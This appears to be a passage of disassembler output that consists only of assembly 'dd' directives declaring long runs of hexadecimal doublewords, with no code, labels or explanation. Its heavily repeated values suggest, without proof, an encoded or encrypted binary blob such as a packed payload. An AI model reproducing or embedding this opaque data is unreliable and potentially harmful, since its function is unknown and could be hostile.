		dd 5BD4BE3Dh, 36ABB132h, 8A3E3054h, 51C3035h, 377C61EBh
		dd 0C94A33F5h, 565CB932h, 4247B132h, 5B57B132h,	0F6515F0Eh
		dd 0B665BB88h, 0C6B573CAh, 0D388A262h, 309DBC12h, 0C6CD4AB3h
		dd 56A9343Dh, 0D658B132h, 56ABB133h, 0BE2E31CBh, 53CF353Dh
		dd 415B132h, 56B2586Dh,	637BB132h, 698DB9CEh, 1636EDF5h
		dd 395E3152h, 0E1033054h, 0AD6AD06Fh, 56F1BEDBh, 0BFBAB137h
		dd 565DB135h, 0AAC4D4A1h, 16146145h, 56ABBDDBh,	0BD867E32h
		dd 0C3260B98h, 0E6A4268Dh, 0BD4131B3h, 5284353Dh, 0D7CEB132h
		dd 0D04605D8h, 2510D76Fh, 3695D093h, 373C3A54h,	4BC20B52h
		dd 5152FF60h, 0E25DB132h, 9AE84659h, 5EBE31F3h,	15ABB132h
		dd 0EBA46147h, 0FB85B00h, 0A6923153h, 56BAB8DBh, 0EE46B932h
		dd 86F9A62Eh, 0D958E3D1h, 56ABB13Ah, 56D7343Dh,	378AB132h
		dd 598E3054h, 2A3EBEB2h, 0BF5DB136h, 56AEB123h,	0FA8389E7h
		dd 0A868A68Ah, 0EBE4F9CBh, 0CDC5C040h, 8BF7B265h, 0BFBD4B12h
		dd 565DB13Bh, 416D8F61h, 6B573016h, 0D5A4F18Bh,	56D5B13Eh
		dd 56EAB6DBh, 399F1032h, 0E27191A1h, 5645363Dh,	4547B132h
		dd 9857B132h, 0C89E49CBh, 5D552722h, 3DBF692Ch,	0FC40ADC4h
		dd 0AD3A59F6h, 51D9BED0h, 36AEB136h, 2B93054h, 0E7690839h
		dd 0D6B4D14Fh, 0D2E552C9h, 5675B28Ch, 56BAA2DBh, 0F9E6CA32h
		dd 17007BC0h, 59A5A373h, 0A1B6833Ch, 0D3C6098Ah, 31113054h
		dd 99F1BED1h, 59BAB131h, 565DB9BEh, 5422BE32h, 3657B132h
		dd 0A6483153h, 59850052h, 56EAB2B8h, 0A0993132h, 26413153h
		dd 55E4353Dh, 30CEB132h, 30F8CA88h, 0AACA7BB9h,	59CB3A54h
		dd 56EA99B5h, 469CD132h, 0C6BAB132h, 0D2215B4Eh, 0EFA1E281h
		dd 9B944D44h, 0BF8B3650h, 56D5B13Eh, 0A4DCB5Eh,	0DFF72A2Eh
		dd 0D4262543h, 0AEBE3153h, 56A05852h, 0B5A3B132h, 4F22CB64h
		dd 0DDBBDCE8h, 42BC245Fh, 0A61F51B3h, 0D6DB8AD1h, 0D25209C9h
		dd 56AEB0F1h, 54D0BE52h, 0E5ABB132h, 5A5CBE0Eh,	0BEEAB132h
		dd 5675B134h, 0F45DC088h, 37037323h, 59AB8FB2h,	56562FB6h
		dd 5D42D132h, 0D7D5B132h, 25BB2B60h, 0ABD99683h, 0DDDC364Ah
		dd 68DDD0FDh, 0D62ABE1Fh, 5957B133h, 56ABA4BFh,	56C55832h
		dd 795BB132h, 0E9397F69h, 0DAB7DEF6h, 0E94D0C9Dh, 682E684Ah
		dd 0AD3BE5Ah, 36ABB133h, 9A1B3054h, 168B4895h, 5675A5DBh
		dd 9D9A2232h, 19B5D386h, 73F5AD2Eh, 5D0249ABh, 0FBBAD6AFh
		dd 0A6574EBEh, 59E2B1ADh, 5675B6BAh, 5737BE32h,	0A35DB132h
		dd 36B03A54h, 0B1D7D0CBh, 56A258CAh, 974BB132h,	9E1B0250h
		dd 30A0877Ah, 0BE3B4AB3h, 5758353Dh, 0DEA1B132h, 5657B12Bh
		dd 56B8383Dh, 583CB132h, 7DEAB132h, 0F1AA13Fh, 4F9AE01Bh
		dd 0BA846781h, 4825D784h, 5E20A52h, 0D8A4A1C2h,	56D5B136h
		dd 2B320854h, 0A6923153h, 56BAA0DBh, 0E20E732h,	0AAECD409h
		dd 0C79F3DDh, 253D241Fh, 0D7B3E4BEh, 592A30C9h,	56751FB6h
		dd 36DA4432h, 53B466B9h, 93AEB132h, 8F4D425Ch, 0D7CBE453h
		dd 0DF2F28EAh, 56ED584Dh, 94F6B132h, 202ED2FAh,	0C4A2D093h
		dd 5EAE2FABh, 564A3B3Dh, 0DDA4B132h, 56D5B125h,	56EAA3DBh
		dd 0EBDB7F32h, 913DFE6Bh, 0E1841266h, 3276E6DDh, 0BAAB54Ah
		dd 56B83B3Dh, 583CB132h, 96EAB132h, 0DA736DEDh,	4AB318ACh
		dd 47BB1184h, 0AAEB382Ch, 5657A2DBh, 26D3F132h,	0D62ED6F5h
		dd 567897F4h, 5CE2A3D6h, 0B2E1CC59h, 593DD0CAh,	56AEBDB5h
		dd 56515932h, 0EAA5B132h, 78835E62h, 2B69D06Bh,	0D37AB0CEh
		dd 56BAB754h, 565DB7DBh, 0B1783832h, 0DD0B9303h, 0ACA9B088h
		dd 56C15835h, 7FEDB132h, 0D38CF495h, 0E50CB0D6h, 7B632437h
		dd 0DE8BD903h, 59072D37h, 56ABB6B3h, 875ED132h,	371B3A54h
		dd 0C98533B9h, 0BEDAB932h, 565DB13Dh, 44CCF737h, 3F2BD4A7h
		dd 0FB89D44h, 368CC367h, 6F8BEB53h, 0E8C810Eh, 50BE333Dh
		dd 0D752B132h, 56AEB133h, 13ED3ACBh, 0BFAC4B07h, 56D5B13Ch
		dd 4333507Ah, 0C94E8BFBh, 0D8DE07FAh, 0AF0DEF1Dh, 0A62C3AC7h
		dd 0BF5FB1ADh, 56ABB138h, 32D4F33Ah, 0CE821F61h, 6A4C28E5h
		dd 2904D102h, 305A7342h, 37C48D8Dh, 0E1D8BE6Ah,	59ABB137h
		dd 56D5BAB3h, 0D9E5D132h, 5675B132h, 37653A54h,	0C8450BB9h
		dd 0AECEB932h, 0D4D44953h, 5EAB2F2Ah, 615C4826h, 0DDE5D152h
		dd 5675B132h, 56BAB9DAh, 0C7CBA232h, 0E061352Ah, 0AA36EE13h
		dd 46EC3853h, 56C33B3Dh, 4703B132h, 0F675B132h,	7DE6D59Eh
		dd 0C98208A4h, 67FB0F7Eh, 29978812h, 56ABA0DBh,	0DD10F632h
		dd 53684E40h, 77BB67FCh, 343AC69Eh, 0BF0D3ECEh,	56AEB13Ah
		dd 800CA672h, 6AE569A3h, 0C92533B9h, 0DD12B932h, 599C812Eh
		dd 39BAB132h, 0C9634641h, 0A98B98E7h, 0A1021DADh, 0AFF353B2h
		dd 0A3DDEEBBh, 56EFBCDBh
		dd 13B24932h, 56BAB3CAh, 42B4D132h, 47AEB132h, 860576C7h
		dd 3813DCA6h, 2C69E95Ah, 2ECB13A5h, 30F96069h, 0BFDB68B9h
		dd 565DB129h, 8211D752h, 31B731DAh, 136C4853h, 56D5B0CAh
		dd 9961D132h, 7D063B3h,	0DDDBA10Ch, 56C3A988h, 4E20BE3Ah
		dd 3657B132h, 821C488Dh, 56D95802h, 3BFBB132h, 9A5C5B81h
		dd 92139200h, 0D53C7B13h, 5630A9B0h, 0D458A53Ah, 56ABB124h
		dd 0BF8BE052h, 56EAB13Fh, 579F4A73h, 85D4544Eh,	57FC6A1Bh
		dd 6127D07Bh, 56563F3Dh, 0DF53B132h, 473CA175h,	41EAB132h
		dd 0ED15E3C5h, 76FF8D60h, 889F40FFh, 91B0110Ch,	595449B1h
		dd 56AB8FB7h, 56D25832h, 117EB132h, 1334FBDFh, 0A6387621h
		dd 5455B1ADh, 0BFAEB132h, 5657B13Ah, 0FEC4C81Ch, 3BCC7388h
		dd 56EAF5DBh, 56645832h, 0C913B132h, 88BFF4A4h,	98159D6Ch
		dd 9AB5C25Eh, 0D50C1AEFh, 0DBDAB3CAh, 56EAB394h, 5675A5DBh
		dd 3D1EC132h, 0C21A5435h, 0C02BB2A8h, 76595C11h, 0B37E820Eh
		dd 56D2585Fh, 0FAD5B132h, 6C6A45C7h, 0AEC73203h, 0E9D9BE32h
		dd 36AEB132h, 1F91888Ah, 0E0A4D02Ah, 0BFB5B074h, 56EAB120h
		dd 0DFCB293Bh, 81657097h, 2D4CE24h, 1225C68Fh, 0D73157CBh
		dd 3709BFD0h, 56D5319Bh, 676FBE32h, 0AA75B132h,	56B35872h
		dd 0A6A0B132h, 0CF03FD76h, 366F51C2h, 0A3B471B2h, 533D3253h
		dd 56E6323Dh, 0D87AB132h, 56BAB134h, 565D393Dh,	6A47B132h
		dd 0AA57B132h, 56AB4E1Fh, 783D132h, 30BCEE6Dh, 0FC51988h
		dd 53523253h, 42B4E352h, 0F0AEB132h, 2D153B7Dh,	0A486B5Dh
		dd 0CE54FD4Ah, 0AAE1BFF4h, 0C7263B4h, 56BE303Dh, 0EF3BB132h
		dd 0BFCF2818h, 5657B14Bh, 56BF58CBh, 48A1B132h,	4E874541h
		dd 3B509642h, 0BB3EF74Dh, 0BFCEE6Bh, 0BFFD506Fh, 5657B122h
		dd 0E8A33F1h, 3948BFDh,	0C1D65598h, 8DC65DB6h, 0C94A2BB9h
		dd 0E73DB932h, 4014D71Bh, 52DCD06Ah, 56A75801h,	8224B132h
		dd 8450A945h, 0DF662D61h, 5C53C292h, 5A5DB132h,	40B41F27h
		dd 4FF00CB6h, 4442EA2Ah, 0C6D5B132h, 0EBDDE9Ch,	70EE7187h
		dd 4934A5AFh, 797904E6h, 56AE1826h, 0D3583132h,	56ABB1E2h
		dd 85033052h, 30E8819Ah, 0A87756B3h, 0BF7CB253h, 565DB134h
		dd 49A6F998h, 0D8586ADCh, 56ABB123h, 56D5BDDBh,	8FD84332h
		dd 947BEEF2h, 2E61AB17h, 539D32F7h, 56AD3C3Dh, 0AF37B132h
		dd 0A629B253h, 59DDB1ADh, 56EAB9B5h, 54F8BE32h,	36BAB132h
		dd 51D9BE53h, 36AEB132h, 0DC846CB2h, 36E3D0CBh,	995ED1CAh
		dd 371B063Dh, 5BF1BE53h, 0BFBAB132h, 565DB13Ah,	0E774A4D2h
		dd 6766C5DAh, 59A3F6BBh, 56D5B0B7h, 11634D32h, 45F7BE3Eh
		dd 0BFBAB132h, 565DB13Ch, 0EBC45DDFh, 21C4650Fh, 31CBEA3h
		dd 583C9872h, 23EAB132h, 247FEECh, 136A581Eh, 0AE1FF84Eh
		dd 57525886h, 47BEB132h, 0B0ABB132h, 4D269447h,	1DCAA2D7h
		dd 0C7C0E55h, 1E81ACFCh, 0E53D69C5h, 502CBEB5h,	5957B132h
		dd 56ABB1B4h, 90FED032h, 593246CAh, 5675A1BAh, 56B15832h
		dd 97BAB132h, 113B553Bh, 4A7486F6h, 536B32A2h, 0A657B2C7h
		dd 59E2B1ADh, 5675B0BCh, 1E4F4D32h, 0E6E5D752h,	0D9A1D04Bh
		dd 5657B133h, 5EEC38CEh, 56D33A3Dh, 368AB132h, 372DE653h
		dd 59B6F6BBh, 565DA2BAh, 5B2DBE32h, 0BF57B132h,	56ABB13Ah
		dd 0C22C83E0h, 0F16A13F6h, 5674D8DBh, 96894432h, 565A353Dh
		dd 0DAA1B132h, 5657B133h, 57ED3BCEh, 298C0B52h,	0FE8BDFF4h
		dd 0E7F0BEB2h, 36BAB132h, 565DB4DBh, 4089FA32h,	41E5CB7Dh
		dd 0AA6DB253h, 0A3D771B1h, 56EAB089h, 8D7E4932h, 5688353Dh
		dd 0DCA8B132h, 0A911B1A8h, 5CDCBE35h, 36ABB132h, 0D5DA2585h
		dd 56EAB132h, 0B5F54853h, 56A85833h, 0B3B8B132h, 69EB544Fh
		dd 90AA6B3Bh, 7943F36Bh, 9E77CD3Ah, 0D6E57231h,	5675B120h
		dd 56BABCDBh, 0F4CCD132h, 0A4AC4139h, 8519C8ADh, 1122A73Bh
		dd 5A54BE3Ah, 0BFEAB132h, 5675B135h, 762623D8h,	0DFE68248h
		dd 0D5A1BD75h, 5657B120h, 56ABBCDBh, 368BFB32h,	598900E5h
		dd 2292D27Bh, 0F553F044h, 0BF5DB132h, 56AEB13Ah, 6639B58h
		dd 51861D85h, 423C69C5h, 85EAB132h, 0B3C36A7Ah,	65C9DAF2h
		dd 1F437B70h, 980BC55Eh, 5956B204h, 56ABB0B9h, 0A9F04432h
		dd 36EAB132h, 0AA686FB3h, 0DEB595C5h, 565DB132h, 59689A53h
		dd 5657A4B0h, 56BB5832h, 0B148B132h, 38E34A6Ch,	0DC6A75DDh
		dd 2E74BE80h, 8EAA434Ch, 0E5990A52h, 0A1DC9EE5h, 546B3253h
		dd 56D5A2DBh, 6D31CA32h, 0AA3A792Ch, 0F92D1C58h, 4270026Ch
		dd 644F222Ch, 595FF6BBh, 56ABBAB1h, 56D35832h, 8503B132h
		dd 0BC50A3E0h, 36B6F6BBh, 3FAB3054h, 3656D043h,	0E5420E54h
		dd 37540E3Dh, 56D5B8DBh, 0C0349B32h, 424B5B84h,	0AFDBBFA3h
		dd 7FEDD1FBh, 562BBE52h, 3057B132h, 37A3F58Dh, 463C7253h
		dd 0E5EAB132h, 8861DC4Ah, 4C78A4EAh, 9FDA8000h,	38F4396h
		dd 59BB3ACBh, 56ABB6B9h, 575FBE32h, 0A3EAB132h,	598975B1h
		dd 56BABDB0h, 50DFBE32h, 59AEB132h, 5657B1B1h, 0D8A4D132h
		dd 56D5B13Ah, 53300952h, 3780D467h, 543EBE52h, 0DC5DB132h
		dd 0D7C8D1CCh, 0EC319BE4h, 2E7CD60Dh, 563DD053h, 0CEAB132h
		dd 8FBF5BB3h, 0D6B5B932h, 565DB133h, 0EC2544CBh, 5E572F32h
		dd 72BF0E52h, 5984A77Bh, 56EAB1B1h, 6514EE32h, 5731BEFBh
		dd 0AA5DB132h, 59AE8EB1h, 565317B6h, 0DDCB4432h, 0DDB44DC0h
		dd 4461BE35h, 0BF75B132h, 56BAB13Fh, 0B33CCFEBh, 12CC0943h
		dd 46E88984h, 56AC5833h, 0F879B132h, 1DABE961h,	5A004E04h
		dd 8E3B4D52h, 4FC5BA14h, 5EDB4E53h, 3637E1CBh, 0D7CDD052h
		dd 3774C7E0h, 3720063Dh, 567D3E3Dh, 0D8B5B132h,	565DB130h
		dd 0B246D052h, 3657B13Ah, 59CB7FB9h, 56D5B1B1h,	5D8BD032h
		dd 3F0BEF2h, 36BAB132h,	85DCD7CEh, 0DDCF8872h, 58BED135h
		dd 0E7ABB132h, 5FEF767Fh, 0A7E4FDBDh, 0FE264FEFh, 0BA29094Ch
		dd 0BF3CA722h, 56AEB170h, 56455852h, 38F9B132h,	11082130h
		dd 3BB05FEEh, 6E3208DCh, 28D3A584h, 565DBFDBh, 0B22F9132h
		dd 20B465BFh, 0DEE700C4h, 373E7C10h, 0A3FE76B1h, 0A98A96DBh
		dd 0D7B5D1CDh, 565DB132h, 8519BE65h, 13DED06Bh,	4422BECEh
		dd 0BFD5B132h, 56EAB13Fh, 0CEDC4EADh, 3480976Ch, 94A054Ch
		dd 5046D1ADh, 0CF57B132h, 69AF33FEh, 8955EB8Ch,	2315D088h
		dd 567B583Eh, 0DC5DB132h, 117CFA58h, 0AE5B19A2h, 51D7F333h
		dd 59A3C4CDh, 56D5B0B4h, 61154432h, 5E6459CEh, 30DAB132h
		dd 95DC61B9h, 740053B4h, 5997BA53h, 56AB95B6h, 5A5BBE32h
		dd 59EAB132h, 5675B7B7h, 5636BE32h, 0BF5DB132h,	56AEB279h
		dd 5657B9DBh, 0C2502A32h, 37AC51Ch, 0AAAF3A5Ah,	567F3C3Dh
		dd 59DAB132h, 565DB1BAh, 37CFD132h, 0D458B60Bh,	56ABB211h
		dd 0AA904EC7h, 56E1313Dh, 5915B132h, 9C3B4A8Dh,	5BC21CF8h
		dd 52D13253h, 6FD3BE32h, 36ABB132h, 5A3CD052h, 36EAB132h
		dd 7E159864h, 7012FAA1h, 379C5C6Eh, 56A2CEB1h, 564D353Dh
		dd 0D6CBB132h, 995E35D7h, 56915853h, 5F9CB132h,	9DBAB132h
		dd 738B36CAh, 0AFE15AE4h, 0A9A84E8Ah, 0D7A4D1CDh, 56D5B134h
		dd 56EA3E3Dh, 5B9CB132h, 60BAB132h, 0ADB21AB7h,	62FBA27Ah
		dd 1A40AA47h, 53124953h, 0BFD5B132h, 56EAB137h,	325F0B72h
		dd 0FD494DF0h, 565DA5DBh, 22CA3532h, 2B032EFh, 5FC77DB1h
		dd 919800CBh, 1A65B808h
		dd 0A8AD583Ch, 36DA4ECDh, 52A82D8Ch, 8F11BE05h,	53DEBE53h
		dd 30ABB132h, 0C84567B3h, 46953253h, 23F1BE37h,	0AABAB132h
		dd 504DCEB1h, 5621343Dh, 17ABB132h, 56A1303Dh, 533CB132h
		dd 0AAEAB132h, 0FCF45FD7h, 0BFBEF6B9h, 565DB139h, 0D0D27D41h
		dd 0A21E860h, 0DDEFDB6Fh, 0D6B5BD6Dh, 368B9AEFh, 610466B3h
		dd 0BFDBBCCEh, 565DB0F2h, 56A1353Dh, 5CBEB132h,	6FABB132h
		dd 11D7DEC1h, 0DAC7AA89h, 43F4BE7Dh, 0BFBAB132h, 565DB122h
		dd 0FD3707C5h, 6B903F1h, 488F2F13h, 0CA62F1D1h,	36EEF6B9h
		dd 0A1FED7CEh, 5AE53A53h, 573C58CAh, 5847B132h,	0F657B132h
		dd 0DD326741h, 0AD8CF0E4h, 0ECFE98B0h, 52323AA4h, 56BAB6DBh
		dd 2B75BB32h, 8FA93EF8h, 595BEEB9h, 56ABBBB2h, 686DD132h
		dd 308FBAE7h, 6D1443B9h, 0D3B5B96Dh, 565DB1B9h,	56A958CAh
		dd 6F74B132h, 5D5C27C3h, 0DD2CE3C5h, 7D16B565h,	5580A167h
		dd 0BFDAA567h, 565DB120h, 0C49E5F60h, 0A905D588h, 2CC0C890h
		dd 496E3A7Eh, 9C6ADB49h, 9FED096h, 4253483Eh, 675DB132h
		dd 0AFA29818h, 0A405AECh, 0BEFD201Eh, 7F171BD1h, 7D93AC66h
		dd 0E813D1E8h, 0D7DCEA1Ch, 377CA8EDh, 0BFAB5AB1h, 5657B134h
		dd 0EE4CA69Eh, 0AF8FDE3Ah, 56EACDDBh, 56645832h, 0D421B132h
		dd 0CAC9C0BBh, 0E2B505B0h, 2F34EA00h, 0DD1D6478h, 0DD29B575h
		dd 0BE8ABD6Dh, 5675B121h, 0BB475A1Eh, 0B7DEA64Ah, 0E3DC8830h
		dd 0BB034840h, 5990DC1Bh, 56D5B1BEh, 9C61E932h,	522A9A53h
		dd 0BEA70052h, 565DB126h, 9DE518Ah, 0C427CCCCh,	0C49FCDC8h
		dd 89445644h, 82838B15h, 0BDF6D06Ah, 0DCB94437h, 51A790E3h
		dd 56AEBDDBh, 73DDA932h, 81B995E0h, 0F3AC6581h,	469532C3h
		dd 7EF0BE31h, 36BAB132h, 379A063Dh, 56A85873h, 5E85B132h
		dd 0B515831Bh, 56D5A3DBh, 0BF7ABF32h, 0CA53D9EEh, 777CA446h
		dd 73879006h, 7DED6690h, 0ED00D1EBh, 4C5E6279h,	56D8586Dh
		dd 76FAB132h, 66CD8E9Ch, 3D49C4CEh, 370E3AF6h, 57AFEDBBh
		dd 0A8E8BE52h, 0EECA42B9h, 0A92A4ECDh, 56EAB6DBh, 5EC14832h
		dd 86FBBE79h, 565DB48Bh, 5722BE32h, 0AF57B132h,	0D7A41AC1h
		dd 56D5B138h, 56EAB4DBh, 9B31FE32h, 2553BA7Fh, 59A24ECEh
		dd 56AEBBB2h, 0A5D6D132h, 7F8BFD9Dh, 37B4D052h,	7F51D752h
		dd 10BB3003h, 37DEF429h, 469F4DFBh, 3574D32h, 5643343Dh
		dd 5942B132h, 5CD5B132h, 0A17E1322h, 2F48F19Bh,	0E87380AEh
		dd 0BAD6ED7Ah, 56AF393Dh, 0D5ABB132h, 36574DF6h, 56D559CAh
		dd 0D7B0B132h, 56AB58D8h, 0ECDCD13Ah, 363C0C7Dh, 7E70208Ah
		dd 55DDBE3Eh, 30ABB132h, 0DDB472B9h, 5674B188h,	9F46493Ah
		dd 56BABFDBh, 77D85532h, 583F18Bh, 0A62C4CF3h, 0D5ABBA20h
		dd 0D2DAB10Dh, 56EAB2D0h, 51FE4DCAh, 56BB363Dh,	0A9A4B132h
		dd 0A957BD47h, 5EBEB947h, 13ABB132h, 0FF1F2E5Fh, 66F0B8Fh
		dd 567F3B3Dh, 59DAB132h, 565DB1BAh, 37653A32h, 565453DAh
		dd 56BF5832h, 0CD72B132h, 0A31C639Dh, 2F548B4h,	0ADA32908h
		dd 638C7370h, 96A505FFh, 5616343Dh, 5342B132h, 0E6D5B132h
		dd 0E4DD7C04h, 0D77AB6B9h, 56BAB133h, 561458C7h, 7CEB132h
		dd 5657A3DBh, 0DCDB3432h, 7A8483Fh, 0BC77051Eh,	39132561h
		dd 98704EDh, 64FC6FB3h,	36CFD3F1h, 968C0FC7h, 0D5CAC2C3h
		dd 533CA5F5h, 0ABEAB132h, 90F349A6h, 0A945FFDBh, 565458CDh
		dd 0A9ADB132h, 0D8DF191Fh, 0DF39D479h, 59B54D77h, 0A98B6385h
		dd 589CBD47h, 0C4BAB132h, 9397228Bh, 0DD9877A2h, 5830D5A7h
		dd 56A158E8h, 0E18CB132h, 0ED6AD75Dh, 23FEE780h, 59B2C4CDh
		dd 565DBDB2h, 56A95832h, 91E5B132h, 0F5C9606Bh,	59E24EBDh
		dd 56EAA5BFh, 567A5832h, 132AB132h, 7328570Eh, 454BAAC1h
		dd 0E930FA12h, 5456593Bh, 0D8DAB132h, 56EAB133h, 59B5BAC7h
		dd 56BAB6B6h, 0E5B44832h, 0AEAEB130h, 59ABF4B9h, 56ABA4B1h
		dd 56C55832h, 0CB6BB132h, 254A9EE7h, 515B375h, 5A5488F9h
		dd 5197BBEBh, 54DB333Dh, 0AFCBB132h, 13D60E54h,	0AAAF4E53h
		dd 5674393Dh, 0D54FB132h, 595DB54Dh, 56AEE0B6h,	56585832h
		dd 3C0BB132h, 9235FD1Bh, 2AF14D5Ch, 0C5B102F5h,	573BBE15h
		dd 0A35DB132h, 56A2CEB1h, 567B353Dh, 0DCA4B132h, 56D5B12Bh
		dd 56EAA5DBh, 0B4B30532h, 344FBB93h, 0B2D57FEDh, 0EA39B528h
		dd 0CE8C4B39h, 56FE58E2h, 5920B132h, 56EAB0B8h,	0A9CD4832h
		dd 36454ECDh, 365641B2h, 136F3054h, 3736D1A0h, 56AE0853h
		dd 59B5B132h, 47027685h, 0A775B132h, 3A891461h,	36B9EF94h
		dd 0F658E6EFh, 0E2337514h, 0DF5B3054h, 0A5B4EB69h, 0EA034499h
		dd 0BF8A4ECCh, 56BAB135h, 1FED18F5h, 0D57D96CCh, 5952A14Dh
		dd 56ABD7B6h, 29564932h, 0D3E5B722h, 5675B1BBh,	48623052h
		dd 302F3E91h, 37874A8Dh, 57DCBE73h, 0AEABB132h,	59D1F6B9h
		dd 56EAA0BFh, 56795832h, 72A6B132h, 33D34B06h, 0F8275855h
		dd 9DC9DB4h, 0A42AD13Eh, 6C45427h, 9E3677B3h, 0BF14D8AEh
		dd 56BAB03Ch, 565DA3DBh, 1851FF32h, 29AD568Bh, 0E7D77CBFh
		dd 0D4B97E28h, 0DD206B56h, 515B575h, 37E4D052h,	5951EEB9h
		dd 56AEBABDh, 56515832h, 8345B132h, 0A14D39C0h,	56EA78DBh
		dd 56725832h, 49CBB132h, 2608D6A3h, 52E93A08h, 5657B9DBh
		dd 0F7F90F32h, 4D0114E8h, 5AB53AA6h, 459CE352h,	53BAB132h
		dd 0F3C2BF20h, 24BD7E35h, 0ABC1F6C5h, 0F0B2BC18h, 598BFED3h
		dd 56EAA7BBh, 56655932h, 39F0B132h, 0C9634641h,	0A98B98E7h
		dd 0A1021DADh, 37F453B2h, 56C03F3Dh, 4603B132h,	5275B132h
		dd 3E6DE044h, 429BBFA9h, 0BE46D44Bh, 7DFA2327h,	0D552B56Dh
		dd 0D529B4D9h, 59E9A14Dh, 5675F4B7h, 56AB5832h,	7020B132h
		dd 0C2AE53EDh, 9FCC882Fh, 63A6BF42h, 1724C223h,	56F3353Dh
		dd 429CB132h, 56BAB132h, 0EF092449h, 0AB863B8Fh, 0A41ADB2Eh
		dd 0F0078B22h, 0BF0BFC2Ch, 56EAB138h, 3E05A2C7h, 7D901A48h
		dd 8F76C206h, 56AEB4DBh, 0DBB33032h, 0A2252E6h,	503CB033h
		dd 19EAB132h, 0D0F91F5Dh, 56B758D0h, 0A679B132h, 0DF2C537h
		dd 8CC01357h, 0EE4D9D89h, 0A92A4ECDh, 56EAA2DBh, 0AB41EC32h
		dd 0FE810C82h, 508EAC44h, 0DCE86CBBh, 880E5BB1h, 56ABB48Bh
		dd 0D8DA4D32h, 56EAB133h, 0A3DE42CBh, 0A94647DBh, 45D6BECDh
		dd 0BFAEB132h, 5657B13Ch, 0D5E743E3h, 86442F36h, 0A7B81FAFh
		dd 361438CBh, 307A063Dh, 63DD5AB3h, 5A20BE53h, 5957B132h
		dd 56ABB7B4h, 5651BE32h, 9FEAB132h, 567D73C7h, 0D5B5D152h
		dd 565DB132h, 51613054h, 0E831D0E5h, 3CA6FB1h, 825FE252h
		dd 8761D768h, 0BAFE4453h, 56A95952h, 0BFE0B132h, 54145975h
		dd 7FA0A5D6h, 38285F05h, 0AE5D63F3h, 37B149E8h,	0A38975B1h
		dd 56BABFDBh, 0B62E7B32h, 0E3F91397h, 77E780F7h, 3663484Ch
		dd 9644452h, 5EAF3A53h,	5A308ACBh, 568A333Dh, 6DA8B132h
		dd 0D1A1A177h, 5657B114h, 0F27A3052h, 37C94972h, 5616F4F5h
		dd 0AE75B132h, 56BAF5DBh, 56515832h, 981AB132h,	6BB40065h
		dd 4F7D42D8h, 1312ACEBh, 56EAB0CEh, 56725832h, 6CBCB132h
		dd 0B70228F0h, 56B558F4h, 0DB58B132h, 56ABB127h, 56DA393Dh
		dd 5C03B132h, 0AF75B132h, 1DFE7CF7h, 788953D9h,	5947D086h
		dd 0F657B132h, 0C9D145F8h, 1AFFE343h, 2DD90BE9h, 13FE392Ch
		dd 0D8B5D1CEh, 565DB133h, 0AE11BECAh, 1377853h,	56B9586Ch
		dd 8DB6B132h, 298E9C71h
		dd 317B1BC5h, 8256C6BAh, 0E3854F72h, 56A27353h,	5650363Dh
		dd 0D3A4B132h, 56D5B133h, 36BF44CBh, 56773B3Dh,	37DAB132h
		dd 565DBBDBh, 3C590E32h, 6812EBA4h, 3775E4EFh, 0D52D5DB9h
		dd 0D5E54DF6h, 5675B13Fh, 56BAB9DBh, 9DE4AB32h,	192A29ADh
		dd 565058CAh, 1EA7B132h, 336C5DF8h, 0D9E5D11Ah,	5675B133h
		dd 56BA59CBh, 0D707B132h, 564A24D8h, 59DFBE3Ah,	0BFABB132h
		dd 56D5B138h, 0A96141B8h, 39747ED7h, 0D7DA6A32h, 5BA60BD0h
		dd 542ABE42h, 3657B132h, 0D9A4D053h, 56D5B135h,	56EB3D3Dh
		dd 658DB132h, 65424DFBh, 564C58E9h, 9B66B132h, 8B70E93Bh
		dd 0DD3B7136h, 1A06526Dh, 0DF189E20h, 368D4D6Fh, 0D7603A54h
		dd 12B48DE5h, 0EC25D046h, 5E572F32h, 56ABBFDBh,	0C71A4432h
		dd 0B27D2DC5h, 88447A79h, 0D57D68E1h, 0D252B10Dh, 56AEB3A9h
		dd 0E158D152h, 37CAD1E5h, 36B441B9h, 66944788h,	0BDF4D723h
		dd 0D5DB5BADh, 0D3524E0Dh, 56AEB108h, 564558C7h, 0FAFAB132h
		dd 0ADA12BB5h, 4ABA226Dh, 0C202917Dh, 1AC75378h, 0AF4976B1h
		dd 0A95107DBh, 45D0BECDh, 0BFABB132h, 56D5B13Ch, 0B725F407h
		dd 0DC0456A4h, 0C68DDA46h, 29DE0A8Ah, 0D2A1B136h, 5657B10Ah
		dd 5AD432CAh, 7B51BE32h, 0BFEAB132h, 5675B139h,	0BB7BD291h
		dd 614C8066h, 0BFEDA954h, 5657B141h, 56ABA2DBh,	1A4EC732h
		dd 0A9A23648h, 0C29F55AAh, 0FAF1164Dh, 0CFCBFA53h, 0BF52F4CDh
		dd 5657B13Dh, 846CC48Ah, 917326ACh, 0F22714BFh,	0A32876C4h
		dd 0BFAE76B1h, 565DB138h, 7ADA24A9h, 42313ABBh,	7A4233EBh
		dd 0BF2A4ECDh, 56EAB13Ch, 0C49362CFh, 0E00F2FF2h, 0E1712B7Dh
		dd 4247CA5Ah, 6257B132h, 45300AF5h, 9F94D7ACh, 0E95E779Ch
		dd 6B8A228Eh, 0D53E2A5Ch, 5958A14Dh, 56AE1FB6h,	56475832h
		dd 6A7AB132h, 0E0CEB40h, 5B8E3A65h, 0EF81191h, 2939E199h
		dd 0D352B722h, 56AEB18Ah, 5657A1DBh, 941A6532h,	0D198402Ch
		dd 5FC390E7h, 0A79050AEh, 3646F058h, 0F3CD163h,	56AEA2DBh
		dd 0C7C6F032h, 0CAEBF373h, 49A646BCh, 73E94B91h, 0FA884943h
		dd 52FD3A53h, 565A3F3Dh, 5CEB132h, 1F833169h, 56A75853h
		dd 0BAE7B132h, 0DA0391F3h, 563851F9h, 931843Bh,	5651583Eh
		dd 0DE3EB132h, 0B08167B4h, 0B64E27CDh, 0BF20DAD5h, 56EAB19Bh
		dd 567F3A3Dh, 5353B132h, 0ED5DB132h, 2325E780h,	5657BBDBh
		dd 0F7A41A32h, 25CAF25Fh, 0DDA30E95h, 0DD8DB575h, 59DABD6Dh
		dd 0DD3B7685h, 5047D0EAh, 0D157B132h, 2C19E6CBh, 5689589Fh
		dd 0D68AB132h, 6153EDDh, 37DB4869h, 5959F6B9h, 56AEB6BCh
		dd 0E958D132h, 375A3AF9h, 0AAD9EEB9h, 56E0323Dh, 3015B132h
		dd 184267B3h, 377847B2h, 0A3AAEE19h, 0A3525AB1h, 55BBCEB1h
		dd 56C9343Dh, 0DD8AB132h, 925D1ECh, 37643A54h, 5DB4F053h
